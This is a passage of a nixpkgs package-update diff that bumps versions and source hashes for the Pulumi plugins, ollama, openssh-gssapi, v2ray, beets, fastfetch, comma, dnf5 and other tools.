-        sha256 = "0cr4h59qywpnplv7nxbmkd370k2kwpvafwb9yhyz7pm2fajcqgf7";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.27.0-darwin-amd64.tar.gz";
+        sha256 = "1r09n56kc0ada99n1g93i23shi2csjia5jiq5jkzkb5wr0wg4syb";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-docker-v4.5.1-darwin-amd64.tar.gz";
@@ -231,8 +231,8 @@
         sha256 = "0ibabyyk92v4cx7h6bckbb6yqp25b68z3s34ri2ci3q595f1mr84";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.13.0-darwin-amd64.tar.gz";
-        sha256 = "07cz9ag0jyn7wa2jzlfnkzk93f21614g236c1d57idwqr91r9ack";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.14.0-darwin-amd64.tar.gz";
+        sha256 = "1gl8f08mgar8sr94nxarnpd6iyg1xkkdmrvzzpxiz5dr2lxw8nig";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-github-v6.1.0-darwin-amd64.tar.gz";
@@ -251,12 +251,12 @@
         sha256 = "1agjwhpn7mkz1gynb4a58q66xcbqnyh79b0cj4l7xpmnv6xs7vv3";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.9.0-darwin-amd64.tar.gz";
-        sha256 = "1cviq7lcnphygywlvm3h00yyicdkza0ds4iw0jikm84z7jd44f2v";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.9.1-darwin-amd64.tar.gz";
+        sha256 = "0zydvslq83rr4ihrpxp7gyks08cgmdqwhxcjfyrr1yc24vcscg8x";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.15.0-darwin-amd64.tar.gz";
-        sha256 = "1zn2wz1adypy2cr8wl60rsry7m923zyyl2kkf19j5326rbxhki37";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.16.0-darwin-amd64.tar.gz";
+        sha256 = "0c0ns6r3m2s6ibw4bis9wxbg4wx2l3c87wbxlss7dfv9li32ryln";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mailgun-v3.5.1-darwin-amd64.tar.gz";
@@ -307,8 +307,8 @@
         sha256 = "1pvbcyw1l2b27hn48klc2fj3is2y3z1dj90ac4kkqi2ag4xj45vx";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.9.2-darwin-amd64.tar.gz";
-        sha256 = "0ik8dmc9769dgpflvlzk51ibf8bmsn68dfzm4v6dz0bsaqnam6xd";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.10.0-darwin-amd64.tar.gz";
+        sha256 = "0yfk80y2dm0rk06q5m5sc159gryxbxp1gmbi4iwjcrpdra6vbm9v";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-wavefront-v3.1.1-darwin-amd64.tar.gz";
@@ -321,8 +321,8 @@
     ];
     aarch64-linux = [
       {
-        url = "https://get.pulumi.com/releases/sdk/pulumi-v3.109.0-linux-arm64.tar.gz";
-        sha256 = "13ndfiajk37kd3770an66ya1y9hmixjydnklsmdi1hg0diy1lapv";
+        url = "https://get.pulumi.com/releases/sdk/pulumi-v3.111.0-linux-arm64.tar.gz";
+        sha256 = "0vgaqm6ap02640yf6a8ycbb2an3ymamgrzl6x1bj3ykk13x7ri2p";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aiven-v6.12.0-linux-arm64.tar.gz";
@@ -337,28 +337,28 @@
         sha256 = "0l34v4r0m8agc8iz06p5gdziavq6n6y8lzrhcs5pdawapynrll6r";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v6.3.0-linux-arm64.tar.gz";
-        sha256 = "15y63ai6s2h45y881fdwa2zrz095z463g0vhgfralaz40nyaci2j";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v6.3.1-linux-arm64.tar.gz";
+        sha256 = "06sdqjplsqwspdx9b587ify0fsb2sgz2fcpf5ssmvv2ky0ng2mcc";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.3.0-linux-arm64.tar.gz";
-        sha256 = "04pk1nnqxx5ir5i9wpz960z6xqrjpbqn9i5hq922pzh953p4awm6";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.3.1-linux-arm64.tar.gz";
+        sha256 = "10iaa1w7a0xbp15hyfl3slksg7rss04jcchws1z3lqddfn5xdcf2";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.25.0-linux-arm64.tar.gz";
-        sha256 = "1y7h165rx4wd635czribss64s6pra9g00nhihdi4czag44d1jpvr";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.25.1-linux-arm64.tar.gz";
+        sha256 = "14ayammjy00d73qgkcdyyryd60yrk6h71vjqakvmbnwndh44hm52";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuread-v5.47.2-linux-arm64.tar.gz";
         sha256 = "0pzbsz7c6q9x3xfpcc8yb6d14hk514yr03p3nfsvmp2nb7224r6s";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v2.15.1-linux-arm64.tar.gz";
-        sha256 = "1vwzj9vhq47158spdzpycrbl2f1xffsipflj6n759i06ns4krp7n";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v3.0.0-linux-arm64.tar.gz";
+        sha256 = "0s4pxkj1fni8c0r8v8kqzl7agcy93m71l8kpmb3630q4syddzmqb";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.68.0-linux-arm64.tar.gz";
-        sha256 = "13nblflj8rk7wvdgdypp10vgqm428fhlinzfvcgiswiz59hy7b45";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.69.0-linux-arm64.tar.gz";
+        sha256 = "0wak5h81wbjg7v5pjsj9614c0263a94qhhajfvk260m31xm34drc";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-cloudflare-v5.22.0-linux-arm64.tar.gz";
@@ -369,12 +369,12 @@
         sha256 = "0jranh92131jny1s261flc19a30rgc0hf0xkz0k51cs713k3h6pn";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.26.0-linux-arm64.tar.gz";
-        sha256 = "0xiq8g7f4kvh7nswvzifwp665j7k3i05wpgh21dhyvm3dx8x21r7";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.27.0-linux-arm64.tar.gz";
+        sha256 = "1l95j1y7abbpylsxbsi7mi543qjhmg6i5cwdwmn5303dakkkgq2h";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.26.0-linux-arm64.tar.gz";
-        sha256 = "0d0lbpxf14ji34574harz25pgzdz6zyfq13yicm3mvrgaa7n68cp";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.27.0-linux-arm64.tar.gz";
+        sha256 = "1z0z7ksxbc8gil60c336hlpn13gxj49s9fcjsr1b4qx130ldccv3";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-docker-v4.5.1-linux-arm64.tar.gz";
@@ -389,8 +389,8 @@
         sha256 = "14c25p6hfyyxq5cfq1z89gb67ywlr4zwj8lllknwqc7wsnvykllg";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.13.0-linux-arm64.tar.gz";
-        sha256 = "1kkm3vvvhdwydvqj0f1fsqnl962cppllbr20wqmds4zxgr5f5569";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.14.0-linux-arm64.tar.gz";
+        sha256 = "1y8ky2ymrw6d71zqd61c2nn07qb3sc7vrksk6n1jpbpnn0rl0v99";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-github-v6.1.0-linux-arm64.tar.gz";
@@ -409,12 +409,12 @@
         sha256 = "06a6iwc2xcppp26bmyxi0cxswmpxkpkk93zx4qcq9vhx2228fiq9";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.9.0-linux-arm64.tar.gz";
-        sha256 = "0659z45zijaviblmsvx6958y8xj0wv1k1jk1js09hv7dmvz57sjv";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.9.1-linux-arm64.tar.gz";
+        sha256 = "1r8ld65774vm1gacbf26alin9pa0c69gj2829gvv8ihhfavrqnyi";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.15.0-linux-arm64.tar.gz";
-        sha256 = "1alll2yq4h7qb2zc4n9pj9rvqv8mv5v9jrxgnrsw7mha3cnjysa4";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.16.0-linux-arm64.tar.gz";
+        sha256 = "057gwjac2lkgrnpm0vg8z8dzg7n0jhyrdmq4c6djympc0hd6m20z";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mailgun-v3.5.1-linux-arm64.tar.gz";
@@ -465,8 +465,8 @@
         sha256 = "017ff9x7s4yvsrf4ypsyaz934r9jm954080gn5535w1694k96wbn";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.9.2-linux-arm64.tar.gz";
-        sha256 = "0q958skqldk5gfd863vizpndls5w18k256v21a0i7hw6cg2ny0qj";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.10.0-linux-arm64.tar.gz";
+        sha256 = "0sgrb6h7d5myp1cy4i7fhhx718n4qx83hj561z98y5hvipg16bcx";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-wavefront-v3.1.1-linux-arm64.tar.gz";
@@ -479,8 +479,8 @@
     ];
     aarch64-darwin = [
       {
-        url = "https://get.pulumi.com/releases/sdk/pulumi-v3.109.0-darwin-arm64.tar.gz";
-        sha256 = "0nnrmlf3z8bg5ia2afpbm33jksc4prvzc2lqfb5i68swfajf3hpm";
+        url = "https://get.pulumi.com/releases/sdk/pulumi-v3.111.0-darwin-arm64.tar.gz";
+        sha256 = "13qhv19xr21y6zs6if6gmyvayy0jrcg4kfn1z7zsqhf6j33ibwys";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aiven-v6.12.0-darwin-arm64.tar.gz";
@@ -495,28 +495,28 @@
         sha256 = "1jsngq7jaknkrpyb3qgpz0vbdq62js4rjd26qrdag9r69swc3wkb";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v6.3.0-darwin-arm64.tar.gz";
-        sha256 = "1qndfc0r36gw54y45k1k1bh98xnvmv8xz35vx2cl23ndnimnfna4";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v6.3.1-darwin-arm64.tar.gz";
+        sha256 = "1hdw3bx61mjxa83arfj7vnqkkq3mzka5g04xg7vjq81z348q9b8y";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.3.0-darwin-arm64.tar.gz";
-        sha256 = "1aqkyawnxvc4prcvzhj37x65pqavzj4q3grcmf0zvz046r4v9pi0";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.3.1-darwin-arm64.tar.gz";
+        sha256 = "0ja508z0r4gbg2zdyrjb7gq8kn1brrx5q6am5dvwaikqs6i6vxrm";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.25.0-darwin-arm64.tar.gz";
-        sha256 = "1073vfmjznxv54xp06mccq734ki220219lqxm67zimlz9gmyw5h8";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.25.1-darwin-arm64.tar.gz";
+        sha256 = "0wx39f18qc3yvnzixs7r1lq7lbff3as2xb60ldy3zim2dapy3y37";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuread-v5.47.2-darwin-arm64.tar.gz";
         sha256 = "1zj37idg91anzx0hd6y2mshgl0bxc9ysfd4prgvj4drf92gwrx4g";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v2.15.1-darwin-arm64.tar.gz";
-        sha256 = "1qjxwdmxh1zd15556jykp07qd5i2d0xyxlv52m9nvb737baagnsm";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v3.0.0-darwin-arm64.tar.gz";
+        sha256 = "1pjcbk8lsqpdw12mp07czf8gzam7dhak3zb4zcd0z9xp3fj0qvgd";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.68.0-darwin-arm64.tar.gz";
-        sha256 = "1nka9x956zysycqqwa715xi79zbdgalp9a3k2xrgy7l1ki83bh5w";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.69.0-darwin-arm64.tar.gz";
+        sha256 = "0h1n4rw5x98vhvz71fh92hlc48l7xcs90p18slmlnaia5fjs01gg";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-cloudflare-v5.22.0-darwin-arm64.tar.gz";
@@ -527,12 +527,12 @@
         sha256 = "19wi1jq077da10c1z2z4rzw0x7rjdv77fk9djzk627w75bha1xac";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.26.0-darwin-arm64.tar.gz";
-        sha256 = "1i609zw34rnax5gc8mng91lijaqfs1gxd1q5nxha35h9573xxcj1";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.27.0-darwin-arm64.tar.gz";
+        sha256 = "0kxrbmcs60v0snz6m3xs1dr1lbw64gz735kbcm223abs5dsz0lqr";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.26.0-darwin-arm64.tar.gz";
-        sha256 = "1q960zwzlfmcp6b1i5cvmbfill217xpg41qi5ayx0ljn6l1idzsr";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.27.0-darwin-arm64.tar.gz";
+        sha256 = "176vnb1khfrnwd4xipirp0hwjl4q9mgmw5r4b00jvxy55h8mr1qs";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-docker-v4.5.1-darwin-arm64.tar.gz";
@@ -547,8 +547,8 @@
         sha256 = "1ayyr8kywylv6zvwbzs71mvyldkh8qiki8ca90i34rpjxrv92n2d";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.13.0-darwin-arm64.tar.gz";
-        sha256 = "1r6b95giffi09wdxmwbg61s195agnjswxdvxkr4w5lvbvwhc0mwc";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.14.0-darwin-arm64.tar.gz";
+        sha256 = "0nr19205zvrm1nczc3f6sjdxhi83jcs6spy9y1q55kmd5lq3hgsx";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-github-v6.1.0-darwin-arm64.tar.gz";
@@ -567,12 +567,12 @@
         sha256 = "1hxl3jrijw3jjmampf879q1h3ya4baag9fva0b5n1sn4r7d7w3kd";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.9.0-darwin-arm64.tar.gz";
-        sha256 = "1s6bj98qzyk7ani0a2rxrj1bfbwdpyv4a7sy0d0qd1p3qkx9qapa";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.9.1-darwin-arm64.tar.gz";
+        sha256 = "14j27fy3i718k5svb8cznf4py3pypwxac4db3qs2mz0lhffja3ha";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.15.0-darwin-arm64.tar.gz";
-        sha256 = "07wf92lhbjzxifdvzjss6hmphdllclzj3b7k7nda03pv90awsh79";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.16.0-darwin-arm64.tar.gz";
+        sha256 = "08ar565hpk6x9kfjj56nqfs4ah2128m4l4qfzpmpzzpad61aa6fa";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mailgun-v3.5.1-darwin-arm64.tar.gz";
@@ -623,8 +623,8 @@
         sha256 = "00qq53wirdjm8zqqisad34fzx70m96dwg0dqysz6nqikq620h7dp";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.9.2-darwin-arm64.tar.gz";
-        sha256 = "0ymxbs8ql90mnqd1yjd7yss6q7pr39i4l5znzai7sixdvcmk53l8";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.10.0-darwin-arm64.tar.gz";
+        sha256 = "1562pylmy4i109wwpn0lqb11m3ajwlswn5f76ni0cq4sw0iips4l";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-wavefront-v3.1.1-darwin-arm64.tar.gz";
diff --git a/pkgs/tools/audio/beets/default.nix b/pkgs/tools/audio/beets/default.nix
index 391974c4a4fd..7631d106654d 100644
--- a/pkgs/tools/audio/beets/default.nix
+++ b/pkgs/tools/audio/beets/default.nix
@@ -1,6 +1,7 @@
 { lib
 , callPackage
 , fetchFromGitHub
+, fetchPypi
 , fetchpatch
 , python3Packages
 }:
@@ -17,11 +18,25 @@
 **   alternatives = { enable = true; propagatedBuildInputs = [ beetsPackages.alternatives ]; };
 ** }; }
 */
-lib.makeExtensible (self: {
+let
+  legacyMediafilePython3Packages = python3Packages.override {
+    overrides = self: super: {
+      mediafile = super.mediafile.overridePythonAttrs (oldAttrs: rec {
+        version = "0.10.1";
+        format = "pyproject";
+        src = fetchPypi {
+          pname = "mediafile";
+          inherit version;
+          hash = "sha256-kpZCoX7lAjuQhiIc6AzcLFHQYCGokNRDOwvVvTLysp8=";
+        };
+      });
+    };
+  };
+in lib.makeExtensible (self: {
   beets = self.beets-stable;
 
   beets-stable = callPackage ./common.nix rec {
-    inherit python3Packages;
+    python3Packages = legacyMediafilePython3Packages;
     # NOTE: ./builtin-plugins.nix and ./common.nix can have some conditionals
     # be removed when stable version updates
     version = "1.6.0";
diff --git a/pkgs/tools/misc/fastfetch/default.nix b/pkgs/tools/misc/fastfetch/default.nix
index ce28107d9f4a..54c1bb587fce 100644
--- a/pkgs/tools/misc/fastfetch/default.nix
+++ b/pkgs/tools/misc/fastfetch/default.nix
@@ -43,13 +43,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "fastfetch";
-  version = "2.8.8";
+  version = "2.8.9";
 
   src = fetchFromGitHub {
     owner = "fastfetch-cli";
     repo = "fastfetch";
     rev = finalAttrs.version;
-    hash = "sha256-IvAUlCDtrtBiaKZbhAiXqQXbpKiqIaKwMVC3NxaAqtw=";
+    hash = "sha256-UvAIIkH9PNlvLzlh0jm1kG+4OfWsWtt2LSFbFPm7Yv4=";
   };
 
   outputs = [ "out" "man" ];
diff --git a/pkgs/tools/misc/hunt/default.nix b/pkgs/tools/misc/hunt/default.nix
index c76bdb376b2f..2c135e028513 100644
--- a/pkgs/tools/misc/hunt/default.nix
+++ b/pkgs/tools/misc/hunt/default.nix
@@ -5,16 +5,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "hunt";
-  version = "2.2.0";
+  version = "2.3.0";
 
   src = fetchFromGitHub {
     owner = "LyonSyonII";
     repo = "hunt-rs";
     rev = "v${version}";
-    sha256 = "sha256-cQA7LB3gDvANCuUDyXjvSE5pEljJRE/YwajR8deAP2E=";
+    sha256 = "sha256-cpqietS/yTI5ONkH4jjIUOVATutd2vj9xmxRbBwmzeI=";
   };
 
-  cargoHash = "sha256-WCECfyQLHDlXWqi0dNRJSTkg8srZf3FCqV2EgV3X0Uc=";
+  cargoHash = "sha256-LWZaU+zHbfiogWXW9XGA3iP95u3qqh2LX9LL2lsQPLg=";
 
   meta = with lib; {
     description = "Simplified Find command made with Rust";
diff --git a/pkgs/tools/misc/kcollectd/default.nix b/pkgs/tools/misc/kcollectd/default.nix
index a5c1039274a4..dc45a18fe3dd 100644
--- a/pkgs/tools/misc/kcollectd/default.nix
+++ b/pkgs/tools/misc/kcollectd/default.nix
@@ -18,12 +18,12 @@
 
 mkDerivation rec {
   pname = "kcollectd";
-  version = "0.12.0";
+  version = "0.12.1";
   src = fetchFromGitLab {
     owner = "aerusso";
     repo = pname;
     rev = "v${version}";
-    sha256 = "sha256-Ihd4Ps4t9+sNB3joO3vTxDR/25t7Ecl6yvHQ15QiUdY=";
+    sha256 = "sha256-bUVL5eRQ5UkSZo562pnyEcj0fVoSC5WHRq4BfN67jEM=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/tools/misc/ollama/default.nix b/pkgs/tools/misc/ollama/default.nix
index 1f14dadfba69..0facac21e5be 100644
--- a/pkgs/tools/misc/ollama/default.nix
+++ b/pkgs/tools/misc/ollama/default.nix
@@ -1,5 +1,5 @@
 { lib
-, buildGoModule
+, buildGo122Module
 , fetchFromGitHub
 , fetchpatch
 , buildEnv
@@ -21,16 +21,19 @@
 
   # one of `[ null "rocm" "cuda" ]`
 , acceleration ? null
+
+, testers
+, ollama
 }:
 
 let
   pname = "ollama";
-  version = "0.1.28";
+  version = "0.1.29";
   src = fetchFromGitHub {
     owner = "jmorganca";
     repo = "ollama";
     rev = "v${version}";
-    hash = "sha256-8f7veZitorNiqGBPJuf/Y36TcFK8Q75Vw4w6CeTk8qs=";
+    hash = "sha256-M2G53DJF/22ZVCAb4jGjyErKO6q2argehHSV7AEef6w=";
     fetchSubmodules = true;
   };
 
@@ -79,9 +82,9 @@ let
 
   goBuild =
     if enableCuda then
-      buildGoModule.override { stdenv = overrideCC stdenv gcc12; }
+      buildGo122Module.override { stdenv = overrideCC stdenv gcc12; }
     else
-      buildGoModule;
+      buildGo122Module;
   preparePatch = patch: hash: fetchpatch {
     url = "file://${src}/llm/patches/${patch}";
     inherit hash;
@@ -99,7 +102,7 @@ goBuild ((lib.optionalAttrs enableRocm {
   CUDAToolkit_ROOT = cudaToolkit;
 }) // {
   inherit pname version src;
-  vendorHash = "sha256-DPIhDqE/yXpSQqrx07osMBMafK61yU2dl4cZhxSTvm8=";
+  vendorHash = "sha256-Lj7CBvS51RqF63c01cOCgY7BCQeCKGu794qzb/S80C0=";
 
   nativeBuildInputs = [
     cmake
@@ -129,8 +132,11 @@ goBuild ((lib.optionalAttrs enableRocm {
 
     # ollama's patches of llama.cpp's example server
     # `ollama/llm/generate/gen_common.sh` -> "apply temporary patches until fix is upstream"
-    (preparePatch "01-cache.diff" "sha256-MTTln2G0G8dntihUzEjPM1ruTsApb4ZToBczJb8EG68=")
-    (preparePatch "02-cudaleaks.diff" "sha256-Cu7E9iEcvddPL9mPPI5Z96qmwWigi3f0WgSpPRjGc88=")
+    (preparePatch "01-cache.diff" "sha256-VDwu/iK6taBCyscpndQiOJ3eGqonnLVwmS2rJNMBVGU=")
+    (preparePatch "02-cudaleaks.diff" "sha256-nxsWgrePUMsZBWWQAjqVHWMJPzr1owH1zSJvUU7Q5pA=")
+    (preparePatch "03-load_exception.diff" "sha256-1DfNahFYYxqlx4E4pwMKQpL+XR0bibYnDFGt6dCL4TM=")
+    (preparePatch "04-locale.diff" "sha256-r5nHiP6yN/rQObRu2FZIPBKpKP9yByyZ6sSI2SKj6Do=")
+    (preparePatch "05-fix-clip-free.diff" "sha256-EFZ+QTtZCvstVxYgVdFKHsQqdkL98T0eXOEBOqCrlL4=")
   ];
   postPatch = ''
     # use a patch from the nix store in the `go generate` script
@@ -168,9 +174,14 @@ goBuild ((lib.optionalAttrs enableRocm {
     service = nixosTests.ollama;
     rocm = pkgs.ollama.override { acceleration = "rocm"; };
     cuda = pkgs.ollama.override { acceleration = "cuda"; };
+    version = testers.testVersion {
+      inherit version;
+      package = ollama;
+    };
   };
 
   meta = {
+    changelog = "https://github.com/ollama/ollama/releases/tag/v${version}";
     description = "Get up and running with large language models locally";
     homepage = "https://github.com/jmorganca/ollama";
     license = licenses.mit;
diff --git a/pkgs/tools/misc/pricehist/default.nix b/pkgs/tools/misc/pricehist/default.nix
index 04333a290731..d195cb42a147 100644
--- a/pkgs/tools/misc/pricehist/default.nix
+++ b/pkgs/tools/misc/pricehist/default.nix
@@ -9,6 +9,7 @@
 , pytest-mock
 , responses
 , pytestCheckHook
+, pythonRelaxDepsHook
 }:
 
 buildPythonApplication rec {
@@ -31,11 +32,20 @@ buildPythonApplication rec {
     poetry-core
   ];
 
+  nativeBuildInputs = [
+    pythonRelaxDepsHook
+  ];
+
   nativeCheckInputs = [
     responses
     pytest-mock
     pytestCheckHook
   ];
+
+  pythonRelaxDeps = [
+    # https://gitlab.com/chrisberkhout/pricehist/-/issues/6
+    "lxml"
+  ];
   meta = with lib; {
     description = "A command-line tool for fetching and formatting historical price data, with support for multiple data sources and output formats";
     homepage = "https://gitlab.com/chrisberkhout/pricehist";
diff --git a/pkgs/tools/networking/openssh/default.nix b/pkgs/tools/networking/openssh/default.nix
index 2cc6c792381b..e0d34e23a6b0 100644
--- a/pkgs/tools/networking/openssh/default.nix
+++ b/pkgs/tools/networking/openssh/default.nix
@@ -58,12 +58,12 @@ in
 
   openssh_gssapi = common rec {
     pname = "openssh-with-gssapi";
-    version = "9.5p1";
+    version = "9.6p1";
     extraDesc = " with GSSAPI support";
 
     src = fetchurl {
       url = "mirror://openbsd/OpenSSH/portable/openssh-${version}.tar.gz";
-      hash = "sha256-8Cbnt5un+1QPdRgq+W3IqPHbOV+SK7yfbKYDZyaGCGs=";
+      hash = "sha256-kQIRwHJVqMWtZUORtA7lmABxDdgRndU2LeCThap6d3w=";
     };
 
     extraPatches = [
@@ -72,7 +72,7 @@ in
       (fetchpatch {
         name = "openssh-gssapi.patch";
         url = "https://salsa.debian.org/ssh-team/openssh/raw/debian/1%25${version}-1/debian/patches/gssapi.patch";
-        sha256 = "sha256-E36jxnPcu6RTyXXb9yVBCoFIVchiOSLX7L74ng1Dmao=";
+        hash = "sha256-gzDQdO6yOoN0apGj5aoKFdUkmKzFyphFUdgNhDLMp8U=";
       })
     ];
 
diff --git a/pkgs/tools/networking/v2ray/default.nix b/pkgs/tools/networking/v2ray/default.nix
index a3d087bbd644..aa398dfcb9f3 100644
--- a/pkgs/tools/networking/v2ray/default.nix
+++ b/pkgs/tools/networking/v2ray/default.nix
@@ -6,18 +6,18 @@
 
 buildGoModule rec {
   pname = "v2ray-core";
-  version = "5.14.1";
+  version = "5.15.0";
 
   src = fetchFromGitHub {
     owner = "v2fly";
     repo = "v2ray-core";
     rev = "v${version}";
-    hash = "sha256-fa8bgI1xpxunAr69xz2CPmo7XWoCODlBAnlb7fQg43U=";
+    hash = "sha256-XxmzJfZa05Kf32Lh6FapYpQZProJyzlXoXKnDPiWqMQ=";
   };
 
   # `nix-update` doesn't support `vendorHash` yet.
   # https://github.com/Mic92/nix-update/pull/95
-  vendorHash = "sha256-PPytLBW+dvZW/TWjTpqkP1zPwgh1Ji58BHzBUY9wRW8=";
+  vendorHash = "sha256-SQ7DcrKYf4Wclp/HG8e7q5YPvVNj/kHV/pGmEyOU/BY=";
 
   ldflags = [ "-s" "-w" ];
 
diff --git a/pkgs/tools/package-management/comma/default.nix b/pkgs/tools/package-management/comma/default.nix
index b73e64924a6d..cf3b9c3dc9e4 100644
--- a/pkgs/tools/package-management/comma/default.nix
+++ b/pkgs/tools/package-management/comma/default.nix
@@ -10,16 +10,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "comma";
-  version = "1.7.1";
+  version = "1.8.0";
 
   src = fetchFromGitHub {
     owner = "nix-community";
     repo = "comma";
     rev = "v${version}";
-    hash = "sha256-x2HVm2vcEFHDrCQLIp5QzNsDARcbBfPdaIMLWVNfi4c=";
+    hash = "sha256-PW9OS/ccRxigP0ikk1XR4QhQX4j9+ALQz0FMKXF3yRA=";
   };
 
-  cargoHash = "sha256-N6Bc0+m0Qz1c/80oLvQTj8gvMusPXIriegNlRYWWStU=";
+  cargoHash = "sha256-lNz4E+dcJ6ACkNraM4DUR4yFbkWgAZ4ngbAML8JYVtE=";
 
   nativeBuildInputs = [ makeBinaryWrapper ];
 
diff --git a/pkgs/tools/package-management/dnf5/default.nix b/pkgs/tools/package-management/dnf5/default.nix
index fc22001a5192..39c2b0cb329b 100644
--- a/pkgs/tools/package-management/dnf5/default.nix
+++ b/pkgs/tools/package-management/dnf5/default.nix
@@ -30,7 +30,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "dnf5";
-  version = "5.1.14";
+  version = "5.1.15";
 
   outputs = [ "out" "man" ];
 
@@ -38,7 +38,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "rpm-software-management";
     repo = "dnf5";
     rev = finalAttrs.version;
-    hash = "sha256-LVemkL3Ysv2hS0/c+ZTqzEKq3kFu+T1rEBwZpjssE2k=";
+    hash = "sha256-IDF/jRnPpGbHk5bY7plkCO1x/i10H+HCcU88JI4EHvs=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index f5f2b81f6532..b88bdec3cd52 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -242,12 +242,8 @@ in lib.makeExtensible (self: ({
   };
 
   nix_2_18 = common {
-    version = "2.18.1";
-    hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w=";
-    patches = [
-      patch-rapidcheck-shared
